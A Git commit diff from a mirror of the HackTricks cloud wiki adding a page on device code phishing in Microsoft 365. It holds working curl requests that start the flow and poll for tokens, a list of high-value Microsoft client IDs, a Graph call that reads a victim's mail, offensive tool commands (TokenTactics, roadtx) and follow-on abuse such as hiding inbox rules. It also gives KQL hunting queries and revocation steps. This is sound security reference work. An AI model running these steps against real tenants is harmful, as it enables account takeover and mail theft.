mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 14:47:17 -07:00
Add content from: The New Hotness in Phishing: Device Code Attacks in M365
This commit is contained in:
+143
-4
@@ -2,9 +2,148 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Check:** [**https://o365blog.com/post/phishing/**](https://o365blog.com/post/phishing/)
|
||||
## Basic Information
|
||||
|
||||
**Device code phishing** abuses the OAuth 2.0 **Device Authorization Grant** so the victim authenticates on the **legitimate** Microsoft page `https://microsoft.com/devicelogin`, completes the real MFA challenge, and still gives the attacker the resulting tokens.
|
||||
|
||||
This is **not** a fake login portal and **not** an MFA bypass. The attacker starts the flow, keeps the opaque `device_code`, and tricks the victim into entering the matching `user_code`. When the victim authorizes the request, the **attacker's polling client** receives the **access token**, **refresh token**, and **ID token**.
|
||||
|
||||
This works especially well against **Microsoft first-party public clients** because:
|
||||
|
||||
- Public clients do **not** have a client secret, so they can be impersonated.
|
||||
- The protocol does **not** cryptographically bind the code-displaying client to the browser where the victim signs in.
|
||||
- Requesting `offline_access` can return a **refresh token** that survives the initial ~1 hour access token lifetime.
|
||||
- With Microsoft **FOCI** behavior, a stolen refresh token may be exchanged for additional Microsoft resources. Check [Az - Tokens & Public Applications](../az-basic-information/az-tokens-and-public-applications.md).
|
||||
|
||||
## Attack Flow
|
||||
|
||||
1. The attacker requests a device code for a useful public client and resource.
|
||||
2. Entra returns:
|
||||
- `user_code`: short value shown to the victim
|
||||
- `device_code`: opaque value kept by the attacker
|
||||
- `verification_uri`: usually `https://microsoft.com/devicelogin`
|
||||
- `interval` / `expires_in`
|
||||
3. The attacker shows the victim the `user_code` via a lure page or email workflow.
|
||||
4. The victim opens the **real** Microsoft page, enters the code, signs in, satisfies MFA, and grants consent if requested.
|
||||
5. The attacker polls the token endpoint until `authorization_pending` becomes a successful token response.
|
||||
|
||||
### Device code request
|
||||
|
||||
```bash
|
||||
curl -X POST "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" \
|
||||
-H "Content-Type: application/x-www-form-urlencoded" \
|
||||
--data-urlencode "client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c" \
|
||||
--data-urlencode "scope=https://graph.microsoft.com/.default offline_access"
|
||||
```
|
||||
|
||||
### Poll the token endpoint
|
||||
|
||||
```bash
|
||||
curl -X POST "https://login.microsoftonline.com/common/oauth2/v2.0/token" \
|
||||
-H "Content-Type: application/x-www-form-urlencoded" \
|
||||
--data-urlencode "grant_type=urn:ietf:params:oauth:grant-type:device_code" \
|
||||
--data-urlencode "client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c" \
|
||||
--data-urlencode "device_code=<DEVICE_CODE>"
|
||||
```
|
||||
|
||||
Until the victim finishes the flow the response is typically `authorization_pending`. After approval, the same polling request returns usable tokens.
|
||||
|
||||
### Common high-value first-party clients
|
||||
|
||||
- `d3590ed6-52b3-4102-aeff-aad2292ab01c` - Microsoft Office
|
||||
- `04b07795-8ddb-461a-bbee-02f9e1bf7b46` - Azure CLI
|
||||
- `1950a258-227b-4e31-a9cf-717495945fc2` - Azure PowerShell
|
||||
|
||||
## Token Abuse
|
||||
|
||||
Once the attacker receives an access token, it can be used directly against Microsoft Graph:
|
||||
|
||||
```bash
|
||||
curl -H "Authorization: Bearer $ACCESS_TOKEN" \
|
||||
"https://graph.microsoft.com/v1.0/me/messages"
|
||||
```
|
||||
|
||||
Common follow-on actions:
|
||||
|
||||
- Read **mail**, **contacts**, and directory relationships.
|
||||
- Create or modify **inbox rules** to hide warnings or forward mail.
|
||||
- Access **OneDrive** and **SharePoint** content.
|
||||
- Keep renewing access with the **refresh token** without another MFA prompt.
|
||||
|
||||
> [!WARNING]
|
||||
> A **password reset alone** does **not** invalidate an already-issued refresh token. Session/token revocation is a separate response action.
|
||||
|
||||
## Offensive Tooling
|
||||
|
||||
```powershell
|
||||
Import-Module .\TokenTactics.psd1
|
||||
Get-AzureToken -Client MSGraph
|
||||
```
|
||||
|
||||
```bash
|
||||
roadtx gettokens --device-code -c msgraph -r msgraph
|
||||
```
|
||||
|
||||
For refresh-token pivoting, FOCI behavior, and other token exchange tricks, check [Az - Tokens & Public Applications](../az-basic-information/az-tokens-and-public-applications.md).
|
||||
|
||||
## Detection & Hunting
|
||||
|
||||
The main Entra sign-in indicator is:
|
||||
|
||||
- `AuthenticationProtocol == "deviceCode"`
|
||||
|
||||
In many environments, any device-code sign-in should be rare enough to baseline individually. Prioritize events with:
|
||||
|
||||
- High-value first-party client IDs
|
||||
- A fast IP/geography split between the victim sign-in and later token use
|
||||
- Graph / Exchange activity immediately after the sign-in
|
||||
- `New-InboxRule` or `Set-InboxRule` soon after the sign-in
|
||||
|
||||
### Baseline device-code sign-ins
|
||||
|
||||
```kusto
|
||||
SigninLogs
|
||||
| where AuthenticationProtocol =~ "deviceCode"
|
||||
| project TimeGenerated, UserPrincipalName, AppDisplayName, AppId, IPAddress, Location, ResourceDisplayName
|
||||
| order by TimeGenerated desc
|
||||
```
|
||||
|
||||
### Hunt first-party device-code use from multiple IPs in 15 minutes
|
||||
|
||||
```kusto
|
||||
SigninLogs
|
||||
| where AuthenticationProtocol =~ "deviceCode"
|
||||
| where AppId in ("d3590ed6-52b3-4102-aeff-aad2292ab01c","04b07795-8ddb-461a-bbee-02f9e1bf7b46","1950a258-227b-4e31-a9cf-717495945fc2")
|
||||
| summarize IPs=dcount(IPAddress), IPList=make_set(IPAddress, 10) by bin(TimeGenerated, 15m), UserPrincipalName, AppDisplayName, AppId
|
||||
| where IPs >= 3
|
||||
```
|
||||
|
||||
### Correlate device-code sign-ins with inbox-rule changes
|
||||
|
||||
```kusto
|
||||
let dc = SigninLogs
|
||||
| where AuthenticationProtocol =~ "deviceCode"
|
||||
| project DC_Time=TimeGenerated, UserPrincipalName, AppDisplayName, IPAddress;
|
||||
dc
|
||||
| join kind=inner (OfficeActivity | where Operation in ("New-InboxRule","Set-InboxRule") | project RuleTime=TimeGenerated, UserId, Operation) on $left.UserPrincipalName == $right.UserId
|
||||
| where RuleTime between (DC_Time .. DC_Time + 1h)
|
||||
```
|
||||
|
||||
## Prevention & Incident Response
|
||||
|
||||
- **Block device-code authentication** in Conditional Access authentication flows and only allow narrow exceptions for documented browserless workflows.
|
||||
- Train users to **never enter a Microsoft device code unless they initiated the flow themselves** on the device being connected.
|
||||
- If a phish succeeds, **revoke sessions/refresh tokens**, review Graph/Exchange/SharePoint activity, and remove malicious mailbox rules.
|
||||
|
||||
```powershell
|
||||
Connect-MgGraph -Scopes "User.RevokeSessions.All"
|
||||
Revoke-MgUserSignInSession -UserId victim@corp.onmicrosoft.com
|
||||
```
|
||||
|
||||
For Conditional Access caveats and MFA-related bypass context, check [Az - Conditional Access Policies & MFA Bypass](../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md).
|
||||
|
||||
## References
|
||||
|
||||
- [TrustedSec - The New Hotness in Phishing: Device Code Attacks in M365](https://trustedsec.com/blog/the-new-hotness-in-phishing-device-code-attacks-in-m365)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user